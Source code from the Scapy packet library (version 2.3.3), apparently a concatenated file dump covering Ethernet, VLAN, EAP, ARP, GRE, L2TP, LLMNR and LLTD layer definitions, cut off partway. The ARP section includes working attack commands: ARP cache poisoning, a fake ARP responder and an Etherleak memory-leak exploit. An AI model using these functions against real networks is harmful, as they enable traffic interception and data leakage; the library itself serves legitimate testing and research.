"00:00:00:00:00:00" return MACField.i2h(self, pkt, x) def i2m(self, pkt, x): return MACField.i2m(self, pkt, self.i2h(pkt, x)) ### Layers ETHER_TYPES['802_AD'] = 0x88a8 class Ether(Packet): name = "Ethernet" fields_desc = [ DestMACField("dst"), SourceMACField("src"), XShortEnumField("type", 0x9000, ETHER_TYPES) ] def hashret(self): return struct.pack("H",self.type)+self.payload.hashret() def answers(self, other): if isinstance(other,Ether): if self.type == other.type: return self.payload.answers(other.payload) return 0 def mysummary(self): return self.sprintf("%src% > %dst% (%type%)") @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 14: if struct.unpack("!H", _pkt[12:14])[0] <= 1500: return Dot3 return cls class Dot3(Packet): name = "802.3" fields_desc = [ DestMACField("dst"), MACField("src", ETHER_ANY), LenField("len", None, "H") ] def extract_padding(self,s): l = self.len return s[:l],s[l:] def answers(self, other): if isinstance(other,Dot3): return self.payload.answers(other.payload) return 0 def mysummary(self): return "802.3 %s > %s" % (self.src, self.dst) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 14: if struct.unpack("!H", _pkt[12:14])[0] > 1500: return Ether return cls class LLC(Packet): name = "LLC" fields_desc = [ XByteField("dsap", 0x00), XByteField("ssap", 0x00), ByteField("ctrl", 0) ] def l2_register_l3(l2, l3): return conf.neighbor.resolve(l2, l3.payload) conf.neighbor.register_l3(Ether, LLC, l2_register_l3) conf.neighbor.register_l3(Dot3, LLC, l2_register_l3) class CookedLinux(Packet): name = "cooked linux" fields_desc = [ ShortEnumField("pkttype",0, {0: "unicast", 4:"sent-by-us"}), #XXX incomplete XShortField("lladdrtype",512), ShortField("lladdrlen",0), StrFixedLenField("src","",8), XShortEnumField("proto",0x800,ETHER_TYPES) ] class SNAP(Packet): name = "SNAP" fields_desc = [ X3BytesField("OUI",0x000000), XShortEnumField("code", 0x000, ETHER_TYPES) ] conf.neighbor.register_l3(Dot3, SNAP, l2_register_l3) class Dot1Q(Packet): name = "802.1Q" aliastypes = [ Ether ] fields_desc = [ BitField("prio", 0, 3), BitField("id", 0, 1), BitField("vlan", 1, 12), XShortEnumField("type", 0x0000, ETHER_TYPES) ] def answers(self, other): if isinstance(other,Dot1Q): if ( (self.type == other.type) and (self.vlan == other.vlan) ): return self.payload.answers(other.payload) else: return self.payload.answers(other) return 0 def default_payload_class(self, pay): if self.type <= 1500: return LLC return conf.raw_layer def extract_padding(self,s): if self.type <= 1500: return s[:self.type],s[self.type:] return s,None def mysummary(self): if isinstance(self.underlayer, Ether): return self.underlayer.sprintf("802.1q %Ether.src% > %Ether.dst% (%Dot1Q.type%) vlan %Dot1Q.vlan%") else: return self.sprintf("802.1q (%Dot1Q.type%) vlan %Dot1Q.vlan%") conf.neighbor.register_l3(Ether, Dot1Q, l2_register_l3) class STP(Packet): name = "Spanning Tree Protocol" fields_desc = [ ShortField("proto", 0), ByteField("version", 0), ByteField("bpdutype", 0), ByteField("bpduflags", 0), ShortField("rootid", 0), MACField("rootmac", ETHER_ANY), IntField("pathcost", 0), ShortField("bridgeid", 0), MACField("bridgemac", ETHER_ANY), ShortField("portid", 0), BCDFloatField("age", 1), BCDFloatField("maxage", 20), BCDFloatField("hellotime", 2), BCDFloatField("fwddelay", 15) ] # # EAPOL # #________________________________________________________________________ # # EAPOL protocol version # IEEE Std 802.1X-2010 - Section 11.3.1 #________________________________________________________________________ # eapol_versions = { 0x1: "802.1X-2001", 0x2: "802.1X-2004", 0x3: "802.1X-2010", } #________________________________________________________________________ # # EAPOL Packet Types # IEEE Std 802.1X-2010 - Table 11.3 #________________________________________________________________________ # eapol_types = { 0x0: "EAP-Packet", # "EAPOL-EAP" in 801.1X-2010 0x1: "EAPOL-Start", 0x2: "EAPOL-Logoff", 0x3: "EAPOL-Key", 0x4: "EAPOL-Encapsulated-ASF-Alert", 0x5: "EAPOL-MKA", 0x6: "EAPOL-Announcement (Generic)", 0x7: "EAPOL-Announcement (Specific)", 0x8: "EAPOL-Announcement-Req" } class EAPOL(Packet): """ EAPOL - IEEE Std 802.1X-2010 """ name = "EAPOL" fields_desc = [ ByteEnumField("version", 1, eapol_versions), ByteEnumField("type", 0, eapol_types), LenField("len", None, "H") ] EAP_PACKET = 0 START = 1 LOGOFF = 2 KEY = 3 ASF = 4 def extract_padding(self, s): l = self.len return s[:l], s[l:] def hashret(self): return chr(self.type) + self.payload.hashret() def answers(self, other): if isinstance(other, EAPOL): if ((self.type == self.EAP_PACKET) and (other.type == self.EAP_PACKET)): return self.payload.answers(other.payload) return 0 def mysummary(self): return self.sprintf("EAPOL %EAPOL.type%") # # EAP # #________________________________________________________________________ # # EAP methods types # http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4 #________________________________________________________________________ # eap_types = { 0: "Reserved", 1: "Identity", 2: "Notification", 3: "Legacy Nak", 4: "MD5-Challenge", 5: "One-Time Password (OTP)", 6: "Generic Token Card (GTC)", 7: "Allocated - RFC3748", 8: "Allocated - RFC3748", 9: "RSA Public Key Authentication", 10: "DSS Unilateral", 11: "KEA", 12: "KEA-VALIDATE", 13: "EAP-TLS", 14: "Defender Token (AXENT)", 15: "RSA Security SecurID EAP", 16: "Arcot Systems EAP", 17: "EAP-Cisco Wireless", 18: "GSM Subscriber Identity Modules (EAP-SIM)", 19: "SRP-SHA1", 20: "Unassigned", 21: "EAP-TTLS", 22: "Remote Access Service", 23: "EAP-AKA Authentication", 24: "EAP-3Com Wireless", 25: "PEAP", 26: "MS-EAP-Authentication", 27: "Mutual Authentication w/Key Exchange (MAKE)", 28: "CRYPTOCard", 29: "EAP-MSCHAP-V2", 30: "DynamID", 31: "Rob EAP", 32: "Protected One-Time Password", 33: "MS-Authentication-TLV", 34: "SentriNET", 35: "EAP-Actiontec Wireless", 36: "Cogent Systems Biometrics Authentication EAP", 37: "AirFortress EAP", 38: "EAP-HTTP Digest", 39: "SecureSuite EAP", 40: "DeviceConnect EAP", 41: "EAP-SPEKE", 42: "EAP-MOBAC", 43: "EAP-FAST", 44: "ZoneLabs EAP (ZLXEAP)", 45: "EAP-Link", 46: "EAP-PAX", 47: "EAP-PSK", 48: "EAP-SAKE", 49: "EAP-IKEv2", 50: "EAP-AKA", 51: "EAP-GPSK", 52: "EAP-pwd", 53: "EAP-EKE Version 1", 54: "EAP Method Type for PT-EAP", 55: "TEAP", 254: "Reserved for the Expanded Type", 255: "Experimental", } #________________________________________________________________________ # # EAP codes # http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-1 #________________________________________________________________________ # eap_codes = { 1: "Request", 2: "Response", 3: "Success", 4: "Failure", 5: "Initiate", 6: "Finish" } class EAP(Packet): """ RFC 3748 - Extensible Authentication Protocol (EAP) """ name = "EAP" fields_desc = [ ByteEnumField("code", 4, eap_codes), ByteField("id", 0), ShortField("len", None), ConditionalField(ByteEnumField("type", 0, eap_types), lambda pkt:pkt.code not in [ EAP.SUCCESS, EAP.FAILURE]), ConditionalField(ByteEnumField("desired_auth_type", 0, eap_types), lambda pkt:pkt.code == EAP.RESPONSE and pkt.type == 3), ConditionalField( StrLenField("identity", '', length_from=lambda pkt: pkt.len - 5), lambda pkt: pkt.code == EAP.RESPONSE and hasattr(pkt, 'type') and pkt.type == 1) ] #________________________________________________________________________ # # EAP codes # http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-1 #________________________________________________________________________ # REQUEST = 1 RESPONSE = 2 SUCCESS = 3 FAILURE = 4 INITIATE = 5 FINISH = 6 def answers(self, other): if isinstance(other, EAP): if self.code == self.REQUEST: return 0 elif self.code == self.RESPONSE: if ((other.code == self.REQUEST) and (other.type == self.type)): return 1 elif other.code == self.RESPONSE: return 1 return 0 def post_build(self, p, pay): if self.len is None: l = len(p) + len(pay) p = p[:2] + chr((l >> 8) & 0xff) + chr(l & 0xff) + p[4:] return p + pay class EAP_TLS(Packet): """ RFC 5216 - "The EAP-TLS Authentication Protocol" """ name = "EAP-TLS" fields_desc = [ BitField('L', 0, 1), BitField('M', 0, 1), BitField('S', 0, 1), BitField('reserved', 0, 5), ConditionalField( IntField('tls_message_len', 0), lambda pkt: pkt.L == 1), ConditionalField( StrLenField('tls_data', '', length_from=lambda pkt: pkt.tls_message_len), lambda pkt: pkt.L == 1) ] class EAP_FAST(Packet): """ RFC 4851 - "The Flexible Authentication via Secure Tunneling Extensible Authentication Protocol Method (EAP-FAST)" """ name = "EAP-FAST" fields_desc = [ BitField('L', 0, 1), BitField('M', 0, 1), BitField('S', 0, 1), BitField('reserved', 0, 2), BitField('version', 0, 3), ConditionalField(IntField('message_len', 0), lambda pkt: pkt.L == 1), ConditionalField( StrLenField('data', '', length_from=lambda pkt: pkt.message_len), lambda pkt: pkt.L == 1) ] class ARP(Packet): name = "ARP" fields_desc = [ XShortField("hwtype", 0x0001), XShortEnumField("ptype", 0x0800, ETHER_TYPES), ByteField("hwlen", 6), ByteField("plen", 4), ShortEnumField("op", 1, {"who-has":1, "is-at":2, "RARP-req":3, "RARP-rep":4, "Dyn-RARP-req":5, "Dyn-RAR-rep":6, "Dyn-RARP-err":7, "InARP-req":8, "InARP-rep":9}), ARPSourceMACField("hwsrc"), SourceIPField("psrc","pdst"), MACField("hwdst", ETHER_ANY), IPField("pdst", "0.0.0.0") ] who_has = 1 is_at = 2 def answers(self, other): if isinstance(other,ARP): if ( (self.op == self.is_at) and (other.op == self.who_has) and (self.psrc == other.pdst) ): return 1 return 0 def route(self): dst = self.pdst if isinstance(dst,Gen): dst = iter(dst).next() return conf.route.route(dst) def extract_padding(self, s): return "",s def mysummary(self): if self.op == self.is_at: return self.sprintf("ARP is at %hwsrc% says %psrc%") elif self.op == self.who_has: return self.sprintf("ARP who has %pdst% says %psrc%") else: return self.sprintf("ARP %op% %psrc% > %pdst%") def l2_register_l3_arp(l2, l3): return getmacbyip(l3.pdst) conf.neighbor.register_l3(Ether, ARP, l2_register_l3_arp) class GRErouting(Packet): name = "GRE routing informations" fields_desc = [ ShortField("address_family",0), ByteField("SRE_offset", 0), FieldLenField("SRE_len", None, "routing_info", "B"), StrLenField("routing_info", "", "SRE_len"), ] class GRE(Packet): name = "GRE" fields_desc = [ BitField("chksum_present",0,1), BitField("routing_present",0,1), BitField("key_present",0,1), BitField("seqnum_present",0,1), BitField("strict_route_source",0,1), BitField("recursion_control",0,3), BitField("flags",0,5), BitField("version",0,3), XShortEnumField("proto", 0x0000, ETHER_TYPES), ConditionalField(XShortField("chksum",None), lambda pkt:pkt.chksum_present==1 or pkt.routing_present==1), ConditionalField(XShortField("offset",None), lambda pkt:pkt.chksum_present==1 or pkt.routing_present==1), ConditionalField(XIntField("key",None), lambda pkt:pkt.key_present==1), ConditionalField(XIntField("seqence_number",None), lambda pkt:pkt.seqnum_present==1), ] def post_build(self, p, pay): p += pay if self.chksum_present and self.chksum is None: c = checksum(p) p = p[:4]+chr((c>>8)&0xff)+chr(c&0xff)+p[6:] return p class Dot1AD(Dot1Q): name = '802_1AD' bind_layers( Dot3, LLC, ) bind_layers( Ether, LLC, type=122) bind_layers( Ether, LLC, type=34928) bind_layers( Ether, Dot1Q, type=33024) bind_layers( Ether, Dot1AD, type=0x88a8) bind_layers( Dot1AD, Dot1AD, type=0x88a8) bind_layers( Dot1AD, Dot1Q, type=0x8100) bind_layers( Dot1Q, Dot1AD, type=0x88a8) bind_layers( Ether, Ether, type=1) bind_layers( Ether, ARP, type=2054) bind_layers( Ether, EAPOL, type=34958) bind_layers( Ether, EAPOL, dst='01:80:c2:00:00:03', type=34958) bind_layers( CookedLinux, LLC, proto=122) bind_layers( CookedLinux, Dot1Q, proto=33024) bind_layers( CookedLinux, Dot1AD, type=0x88a8) bind_layers( CookedLinux, Ether, proto=1) bind_layers( CookedLinux, ARP, proto=2054) bind_layers( CookedLinux, EAPOL, proto=34958) bind_layers( GRE, LLC, proto=122) bind_layers( GRE, Dot1Q, proto=33024) bind_layers( GRE, Dot1AD, type=0x88a8) bind_layers( GRE, Ether, proto=1) bind_layers( GRE, ARP, proto=2054) bind_layers( GRE, EAPOL, proto=34958) bind_layers( GRE, GRErouting, { "routing_present" : 1 } ) bind_layers( GRErouting, conf.raw_layer,{ "address_family" : 0, "SRE_len" : 0 }) bind_layers( GRErouting, GRErouting, { } ) bind_layers( EAPOL, EAP, type=0) bind_layers(EAP, EAP_TLS, type=13) bind_layers(EAP, EAP_FAST, type=43) bind_layers( LLC, STP, dsap=66, ssap=66, ctrl=3) bind_layers( LLC, SNAP, dsap=170, ssap=170, ctrl=3) bind_layers( SNAP, Dot1Q, code=33024) bind_layers( SNAP, Dot1AD, type=0x88a8) bind_layers( SNAP, Ether, code=1) bind_layers( SNAP, ARP, code=2054) bind_layers( SNAP, EAPOL, code=34958) bind_layers( SNAP, STP, code=267) conf.l2types.register(ARPHDR_ETHER, Ether) conf.l2types.register_num2layer(ARPHDR_METRICOM, Ether) conf.l2types.register_num2layer(ARPHDR_LOOPBACK, Ether) conf.l2types.register_layer2num(ARPHDR_ETHER, Dot3) conf.l2types.register(144, CookedLinux) # called LINUX_IRDA, similar to CookedLinux conf.l2types.register(113, CookedLinux) conf.l3types.register(ETH_P_ARP, ARP) ### Technics @conf.commands.register def arpcachepoison(target, victim, interval=60): """Poison target's cache with (your MAC,victim's IP) couple arpcachepoison(target, victim, [interval=60]) -> None """ tmac = getmacbyip(target) p = Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target) try: while 1: sendp(p, iface_hint=target) if conf.verb > 1: os.write(1,".") time.sleep(interval) except KeyboardInterrupt: pass class ARPingResult(SndRcvList): def __init__(self, res=None, name="ARPing", stats=None): SndRcvList.__init__(self, res, name, stats) def show(self): for s,r in self.res: print r.sprintf("%19s,Ether.src% %ARP.psrc%") @conf.commands.register def arping(net, timeout=2, cache=0, verbose=None, **kargs): """Send ARP who-has requests to determine which hosts are up arping(net, [cache=0,] [iface=conf.iface,] [verbose=conf.verb]) -> None Set cache=True if you want arping to modify internal ARP-Cache""" if verbose is None: verbose = conf.verb ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net), verbose=verbose, filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs) ans = ARPingResult(ans.res) if cache and ans is not None: for pair in ans: conf.netcache.arp_cache[pair[1].psrc] = (pair[1].hwsrc, time.time()) if verbose: ans.show() return ans,unans @conf.commands.register def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00",**kargs): """Try to guess if target is in Promisc mode. The target is provided by its ip.""" responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip),type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0,**kargs) return responses is not None @conf.commands.register def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs): """Send ARP who-has requests to determine which hosts are in promiscuous mode promiscping(net, iface=conf.iface)""" ans,unans = srp(Ether(dst=fake_bcast)/ARP(pdst=net), filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs) ans = ARPingResult(ans.res, name="PROMISCPing") ans.display() return ans,unans class ARP_am(AnsweringMachine): """Fake ARP Relay Daemon (farpd) example: To respond to an ARP request for 192.168.100 replying on the ingress interface; farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05') To respond on a different interface add the interface parameter farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05',iface='eth0') To respond on ANY arp request on an interface with mac address ARP_addr farpd(ARP_addr='00:01:02:03:04:05',iface='eth1') To respond on ANY arp request with my mac addr on the given interface farpd(iface='eth1') Optional Args inter= Interval in seconds between ARP replies being sent """ function_name="farpd" filter = "arp" send_function = staticmethod(sendp) def parse_options(self, IP_addr=None, ARP_addr=None): self.IP_addr=IP_addr self.ARP_addr=ARP_addr def is_request(self, req): return (req.haslayer(ARP) and req.getlayer(ARP).op == 1 and (self.IP_addr == None or self.IP_addr == req.getlayer(ARP).pdst)) def make_reply(self, req): ether = req.getlayer(Ether) arp = req.getlayer(ARP) if self.optsend.has_key('iface'): iff = self.optsend.get('iface') else: iff,a,gw = conf.route.route(arp.psrc) self.iff = iff if self.ARP_addr is None: try: ARP_addr = get_if_hwaddr(iff) except: ARP_addr = "00:00:00:00:00:00" pass else: ARP_addr = self.ARP_addr resp = Ether(dst=ether.src, src=ARP_addr)/ARP(op="is-at", hwsrc=ARP_addr, psrc=arp.pdst, hwdst=arp.hwsrc, pdst=arp.psrc) return resp def send_reply(self, reply): if self.optsend.has_key('iface'): self.send_function(reply, **self.optsend) else: self.send_function(reply, iface=self.iff, **self.optsend) def print_reply(self, req, reply): print "%s ==> %s on %s" % (req.summary(),reply.summary(),self.iff) @conf.commands.register def etherleak(target, **kargs): """Exploit Etherleak flaw""" return srpflood(Ether()/ARP(pdst=target), prn=lambda (s,r): conf.padding_layer in r and hexstr(r[conf.padding_layer].load), filter="arp", **kargs) scapy-2.3.3/scapy/layers/l2tp.py000066400000000000000000000020241300136037300165010ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ L2TP (Layer 2 Tunneling Protocol) for VPNs. [RFC 2661] """ import struct from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP from scapy.layers.ppp import PPP class L2TP(Packet): fields_desc = [ ShortEnumField("pkt_type",2,{2:"data"}), ShortField("len", None), ShortField("tunnel_id", 0), ShortField("session_id", 0), ShortField("ns", 0), ShortField("nr", 0), ShortField("offset", 0) ] def post_build(self, pkt, pay): if self.len is None: l = len(pkt)+len(pay) pkt = pkt[:2]+struct.pack("!H", l)+pkt[4:] return pkt+pay bind_layers( UDP, L2TP, sport=1701, dport=1701) bind_layers( L2TP, PPP, ) scapy-2.3.3/scapy/layers/llmnr.py000066400000000000000000000045341300136037300167540ustar00rootroot00000000000000from scapy.fields import * from scapy.packet import * from scapy.layers.inet import UDP from scapy.layers.dns import DNSQRField, DNSRRField, DNSRRCountField """ LLMNR (Link Local Multicast Node Resolution). [RFC 4795] """ ############################################################################# ### LLMNR (RFC4795) ### ############################################################################# # LLMNR is based on the DNS packet format (RFC1035 Section 4) # RFC also envisions LLMNR over TCP. Like vista, we don't support it -- arno _LLMNR_IPv6_mcast_Addr = "FF02:0:0:0:0:0:1:3" _LLMNR_IPv4_mcast_addr = "224.0.0.252" class LLMNRQuery(Packet): name = "Link Local Multicast Node Resolution - Query" fields_desc = [ ShortField("id", 0), BitField("qr", 0, 1), BitEnumField("opcode", 0, 4, { 0:"QUERY" }), BitField("c", 0, 1), BitField("tc", 0, 2), BitField("z", 0, 4), BitEnumField("rcode", 0, 4, { 0:"ok" }), DNSRRCountField("qdcount", None, "qd"), DNSRRCountField("ancount", None, "an"), DNSRRCountField("nscount", None, "ns"), DNSRRCountField("arcount", None, "ar"), DNSQRField("qd", "qdcount"), DNSRRField("an", "ancount"), DNSRRField("ns", "nscount"), DNSRRField("ar", "arcount",0)] overload_fields = {UDP: {"sport": 5355, "dport": 5355 }} def hashret(self): return struct.pack("!H", self.id) class LLMNRResponse(LLMNRQuery): name = "Link Local Multicast Node Resolution - Response" qr = 1 def answers(self, other): return (isinstance(other, LLMNRQuery) and self.id == other.id and self.qr == 1 and other.qr == 0) def _llmnr_dispatcher(x, *args, **kargs): cls = conf.raw_layer if len(x) >= 3: if (ord(x[4]) & 0x80): # Response cls = LLMNRResponse else: # Query cls = LLMNRQuery return cls(x, *args, **kargs) bind_bottom_up(UDP, _llmnr_dispatcher, { "dport": 5355 }) bind_bottom_up(UDP, _llmnr_dispatcher, { "sport": 5355 }) # LLMNRQuery(id=RandShort(), qd=DNSQR(qname="vista."))) scapy-2.3.3/scapy/layers/lltd.py000066400000000000000000000645121300136037300165710ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more informations # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """LLTD Protocol https://msdn.microsoft.com/en-us/library/cc233983.aspx """ import struct from array import array from scapy.fields import BitField, FlagsField, ByteField, ByteEnumField, \ ShortField, ShortEnumField, ThreeBytesField, IntField, IntEnumField, \ LongField, MultiEnumField, FieldLenField, FieldListField, \ PacketListField, StrLenField, StrLenFieldUtf16, ConditionalField, MACField from scapy.packet import Packet, Padding, bind_layers from scapy.plist import PacketList from scapy.layers.l2 import Ether from scapy.layers.inet import IPField from scapy.layers.inet6 import IP6Field from scapy.data import ETHER_ANY # Protocol layers ################## class LLTD(Packet): name = "LLTD" answer_hashret = { # (tos, function) tuple mapping (answer -> query), used by # .hashret() (1, 1): (0, 0), (0, 12): (0, 11), } fields_desc = [ ByteField("version", 1), ByteEnumField("tos", 0, { 0: "Topology discovery", 1: "Quick discovery", 2: "QoS diagnostics", }), ByteField("reserved", 0), MultiEnumField("function", 0, { 0: { 0: "Discover", 1: "Hello", 2: "Emit", 3: "Train", 4: "Probe", 5: "Ack", 6: "Query", 7: "QueryResp", 8: "Reset", 9: "Charge", 10: "Flat", 11: "QueryLargeTlv", 12: "QueryLargeTlvResp", }, 1: { 0: "Discover", 1: "Hello", 8: "Reset", }, 2: { 0: "QosInitializeSink", 1: "QosReady", 2: "QosProbe", 3: "QosQuery", 4: "QosQueryResp", 5: "QosReset", 6: "QosError", 7: "QosAck", 8: "QosCounterSnapshot", 9: "QosCounterResult", 10: "QosCounterLease", }, }, depends_on=lambda pkt: pkt.tos, fmt="B"), MACField("real_dst", None), MACField("real_src", None), ConditionalField(ShortField("xid", 0), lambda pkt: pkt.function in [0, 8]), ConditionalField(ShortField("seq", 0), lambda pkt: pkt.function not in [0, 8]), ] def post_build(self, pkt, pay): if (self.real_dst is None or self.real_src is None) and \ isinstance(self.underlayer, Ether): eth = self.underlayer if self.real_dst is None: pkt = (pkt[:4] + eth.fields_desc[0].i2m(eth, eth.dst) + pkt[10:]) if self.real_src is None: pkt = (pkt[:10] + eth.fields_desc[1].i2m(eth, eth.src) + pkt[16:]) return pkt + pay def mysummary(self): if isinstance(self.underlayer, Ether): return self.underlayer.sprintf( 'LLTD %src% > %dst% %LLTD.tos% - %LLTD.function%' ) else: return self.sprintf('LLTD %tos% - %function%') def hashret(self): tos, function = self.tos, self.function return "%c%c" % self.answer_hashret.get((tos, function), (tos, function)) def answers(self, other): if not isinstance(other, LLTD): return False if self.tos == 0: if self.function == 0 and isinstance(self.payload, LLTDDiscover) \ and len(self[LLTDDiscover].stations_list) == 1: # "Topology discovery - Discover" with one MAC address # discovered answers a "Quick discovery - Hello" return other.tos == 1 and \ other.function == 1 and \ LLTDAttributeHostID in other and \ other[LLTDAttributeHostID].mac == \ self[LLTDDiscover].stations_list[0] elif self.function == 12: # "Topology discovery - QueryLargeTlvResp" answers # "Topology discovery - QueryLargeTlv" with same .seq # value return other.tos == 0 and other.function == 11 \ and other.seq == self.seq elif self.tos == 1: if self.function == 1 and isinstance(self.payload, LLTDHello): # "Quick discovery - Hello" answers a "Topology # discovery - Discover" return other.tos == 0 and other.function == 0 and \ other.real_src == self.current_mapper_address return False class LLTDHello(Packet): name = "LLTD - Hello" show_summary = False fields_desc = [ ShortField("gen_number", 0), MACField("current_mapper_address", ETHER_ANY), MACField("apparent_mapper_address", ETHER_ANY), ] class LLTDDiscover(Packet): name = "LLTD - Discover" fields_desc = [ ShortField("gen_number", 0), FieldLenField("stations_count", None, count_of="stations_list", fmt="H"), FieldListField("stations_list", [], MACField("", ETHER_ANY), count_from=lambda pkt: pkt.stations_count) ] def mysummary(self): return (self.sprintf("Stations: %stations_list%") if self.stations_list else "No station", [LLTD]) class LLTDEmiteeDesc(Packet): name = "LLTD - Emitee Desc" fields_desc = [ ByteEnumField("type", 0, {0: "Train", 1: "Probe"}), ByteField("pause", 0), MACField("src", None), MACField("dst", ETHER_ANY), ] class LLTDEmit(Packet): name = "LLTD - Emit" fields_desc = [ FieldLenField("descs_count", None, count_of="descs_list", fmt="H"), PacketListField("descs_list", [], LLTDEmiteeDesc, count_from=lambda pkt: pkt.descs_count), ] def mysummary(self): return ", ".join(desc.sprintf("%src% > %dst%") for desc in self.descs_list), [LLTD] class LLTDRecveeDesc(Packet): name = "LLTD - Recvee Desc" fields_desc = [ ShortEnumField("type", 0, {0: "Probe", 1: "ARP or ICMPv6"}), MACField("real_src", ETHER_ANY), MACField("ether_src", ETHER_ANY), MACField("ether_dst", ETHER_ANY), ] class LLTDQueryResp(Packet): name = "LLTD - Query Response" fields_desc = [ FlagsField("flags", 0, 2, "ME"), BitField("descs_count", None, 14), PacketListField("descs_list", [], LLTDRecveeDesc, count_from=lambda pkt: pkt.descs_count), ] def post_build(self, pkt, pay): if self.descs_count is None: # descs_count should be a FieldLenField but has an # unsupported format (14 bits) flags = ord(pkt[0]) & 0xc0 count = len(self.descs_list) pkt = chr(flags + (count >> 8)) + chr(count % 256) + pkt[2:] return pkt + pay def mysummary(self): return self.sprintf("%d response%s" % ( self.descs_count, "s" if self.descs_count > 1 else "")), [LLTD] class LLTDQueryLargeTlv(Packet): name = "LLTD - Query Large Tlv" fields_desc = [ ByteEnumField("type", 14, { 14: "Icon image", 17: "Friendly Name", 19: "Hardware ID", 22: "AP Association Table", 24: "Detailed Icon Image", 26: "Component Table", 28: "Repeater AP Table", }), ThreeBytesField("offset", 0), ] def mysummary(self): return self.sprintf("%type% (offset %offset%)"), [LLTD] class LLTDQueryLargeTlvResp(Packet): name = "LLTD - Query Large Tlv Response" fields_desc = [ FlagsField("flags", 0, 2, "RM"), BitField("len", None, 14), StrLenField("value", "", length_from=lambda pkt: pkt.len) ] def post_build(self, pkt, pay): if self.len is None: # len should be a FieldLenField but has an unsupported # format (14 bits) flags = ord(pkt[0]) & 0xc0 length = len(self.value) pkt = chr(flags + (length >> 8)) + chr(length % 256) + pkt[2:] return pkt + pay def mysummary(self): return self.sprintf("%%len%% bytes%s" % ( " (last)" if not self.flags & 2 else "" )), [LLTD] class LLTDAttribute(Packet): name = "LLTD Attribute" show_indent = False show_summary = False # section 2.2.1.1 fields_desc = [ ByteEnumField("type", 0, { 0: "End Of Property", 1: "Host ID", 2: "Characteristics", 3: "Physical Medium", 7: "IPv4 Address", 9: "802.11 Max Rate", 10: "Performance Counter Frequency", 12: "Link Speed", 14: "Icon Image", 15: "Machine Name", 18: "Device UUID", 20: "QoS Characteristics", 21: "802.11 Physical Medium", 24: "Detailed Icon Image", }), FieldLenField("len", None, length_of="value", fmt="B"), StrLenField("value", "", length_from=lambda pkt: pkt.len), ] @classmethod def dispatch_hook(cls, _pkt=None, *_, **kargs): if _pkt: cmd = struct.unpack("B", _pkt[0])[0] elif "type" in kargs: cmd = kargs["type"] if isinstance(cmd, basestring): cmd = cls.fields_desc[0].s2i[cmd] return SPECIFIC_CLASSES.get(cmd, cls) SPECIFIC_CLASSES = {} def _register_lltd_specific_class(*attr_types): """This can be used as a class decorator, but since we want to support Python 2.5, we have to replace @_register_lltd_specific_class(x[, y[, ...]]) class LLTDAttributeSpecific(LLTDAttribute): [...] by class LLTDAttributeSpecific(LLTDAttribute): [...] LLTDAttributeSpecific = _register_lltd_specific_class(x[, y[, ...]])( LLTDAttributeSpecific ) """ def _register(cls): for attr_type in attr_types: SPECIFIC_CLASSES[attr_type] = cls type_fld = LLTDAttribute.fields_desc[0].copy() type_fld.default = attr_types[0] cls.fields_desc = [type_fld] + cls.fields_desc return cls return _register class LLTDAttributeEOP(LLTDAttribute): name = "LLTD Attribute - End Of Property" fields_desc = [] LLTDAttributeEOP = _register_lltd_specific_class(0)(LLTDAttributeEOP) class LLTDAttributeHostID(LLTDAttribute): name = "LLTD Attribute - Host ID" fields_desc = [ ByteField("len", 6), MACField("mac", ETHER_ANY), ] def mysummary(self): return "ID: %s" % self.mac, [LLTD, LLTDAttributeMachineName] LLTDAttributeHostID = _register_lltd_specific_class(1)(LLTDAttributeHostID) class LLTDAttributeCharacteristics(LLTDAttribute): name = "LLTD Attribute - Characteristics" fields_desc = [ # According to MS doc, "this field MUST be set to 0x02". But # according to MS implementation, that's wrong. # ByteField("len", 2), FieldLenField("len", None, length_of="reserved2", fmt="B", adjust=lambda _, x: x + 2), FlagsField("flags", 0, 5, "PXFML"), BitField("reserved1", 0, 11), StrLenField("reserved2", "", length_from=lambda x: x.len - 2) ] LLTDAttributeCharacteristics = _register_lltd_specific_class(2)( LLTDAttributeCharacteristics ) class LLTDAttributePhysicalMedium(LLTDAttribute): name = "LLTD Attribute - Physical Medium" fields_desc = [ ByteField("len", 4), IntEnumField("medium", 6, { # https://www.iana.org/assignments/ianaiftype-mib/ianaiftype-mib 1: "other", 2: "regular1822", 3: "hdh1822", 4: "ddnX25", 5: "rfc877x25", 6: "ethernetCsmacd", 7: "iso88023Csmacd", 8: "iso88024TokenBus", 9: "iso88025TokenRing", 10: "iso88026Man", 11: "starLan", 12: "proteon10Mbit", 13: "proteon80Mbit", 14: "hyperchannel", 15: "fddi", 16: "lapb", 17: "sdlc", 18: "ds1", 19: "e1", 20: "basicISDN", 21: "primaryISDN", 22: "propPointToPointSerial", 23: "ppp", 24: "softwareLoopback", 25: "eon", 26: "ethernet3Mbit", 27: "nsip", 28: "slip", 29: "ultra", 30: "ds3", 31: "sip", 32: "frameRelay", 33: "rs232", 34: "para", 35: "arcnet", 36: "arcnetPlus", 37: "atm", 38: "miox25", 39: "sonet", 40: "x25ple", 41: "iso88022llc", 42: "localTalk", 43: "smdsDxi", 44: "frameRelayService", 45: "v35", 46: "hssi", 47: "hippi", 48: "modem", 49: "aal5", 50: "sonetPath", 51: "sonetVT", 52: "smdsIcip", 53: "propVirtual", 54: "propMultiplexor", 55: "ieee80212", 56: "fibreChannel", 57: 